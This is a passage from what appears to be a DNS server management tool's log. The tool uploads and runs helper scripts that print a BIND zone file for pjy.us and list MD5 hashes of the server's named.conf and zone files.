			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-02 15:11:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp325199; rm /tmp/pkp325199'

2026-06-02 15:11:22: 
2026-06-02 15:11:22: 

PUT: /tmp/pkp461746

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-02 15:11:22: 

chmod 755 /tmp/pkp461746; /tmp/pkp461746; rm /tmp/pkp461746

2026-06-02 15:11:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt	2090
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
pjy.us.                  		 IN    SOA      	pjy.us. hostmaster.pjy.us. ( 136062371 14400 3600 14400 3600 )
pjy.us.                  		 IN    NS       	ns1.hostz.org.
pjy.us.                  		 IN    NS       	ns2.hostz.org.
pjy.us.                   60	 IN    A        	94.177.8.99
@                        		 IN    MX       	10 mail.emessage.email.
@                        		 IN    TXT      	"google-site-verification=ZtHGz_iSYmEil9sMSPUDIl9d6IDFBLjzeNlYE2SfdQM"
_acme-challenge           60	 IN    TXT      	"bOI1DdgwQZHecFXswlfCExPM-Qk8sOD3pWTPNbjDjUg"
_acme-challenge           60	 IN    TXT      	"CVK_t_jeJDvIAdFM-oEc1ydoWDl-FO6fIPTzRmQDqmY"
mail._domainkey           300	 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475QNvlpQCiGASeKJCw/3JWK/doJrCzE7FwPZQ+5uzZtbYa/xHmrd5HZKPgy9ohyeqvdcjYTMCtb+J9Hj+lG90gaO/OiIgMpkck6UvFEXoXQQzPTChI1Jm1JaDmbq9u3Qxatb9Wr/Zd88ytfn6tdNATtyvzZcQw2HFHooDxWlsRW+wXi3j5UL0yL4CeL" "CzmSUiO74QQUPqqjljsKvRvbZmsGhHm/NW5RYG/L2yYjWMlhnEAgaE+v4oMDQHnb06Lf2fuoGJ2C2EJtoY1ZaqhvjA2+4kT7BXO3NItVFe+EyKpPhYBcqtuCsYUDH6eScwOHBp0rjTggUg9IUFLEGFoLPwIDAQAB"
alive                    		 IN    CNAME    	home.stoughton.link.
_acme-challenge.city      60	 IN    TXT      	"UeRMkqu8_l2gRItyFHba1VXxbuTR3icuWFS2-fYdY3g"
desktop                  		 IN    A        	192.168.1.174
_acme-challenge.desktop   60	 IN    TXT      	"093Mp0yq_5C0gmzP7LtB4ckRbh8YGEVcb4_UmsGsKMo"
eggshell                 		 IN    A        	94.177.8.99
y4it37yvzcuq.eggshell     60	 IN    CNAME    	gv-4p2uru6b7qnnw2.dv.googlehosted.com.
files                    		 IN    A        	74.208.130.81
home                      300	 IN    A        	86.106.182.72
_acme-challenge.home      60	 IN    TXT      	"bRrZQ9sTYYin--ZqX6Nzib8yi276mLv4bQdTqFNny2I"
hub                       300	 IN    A        	94.177.8.99
mysql                    		 IN    CNAME    	home.stoughton.link.
pkp                      		 IN    A        	94.177.8.99
www.pjy.us.               60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-02 15:11:25: Establishing a connection
2026-06-02 15:11:25: 

PUT: /tmp/pkp296655

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-02 15:11:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp296655; rm /tmp/pkp296655'

2026-06-02 15:11:25: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
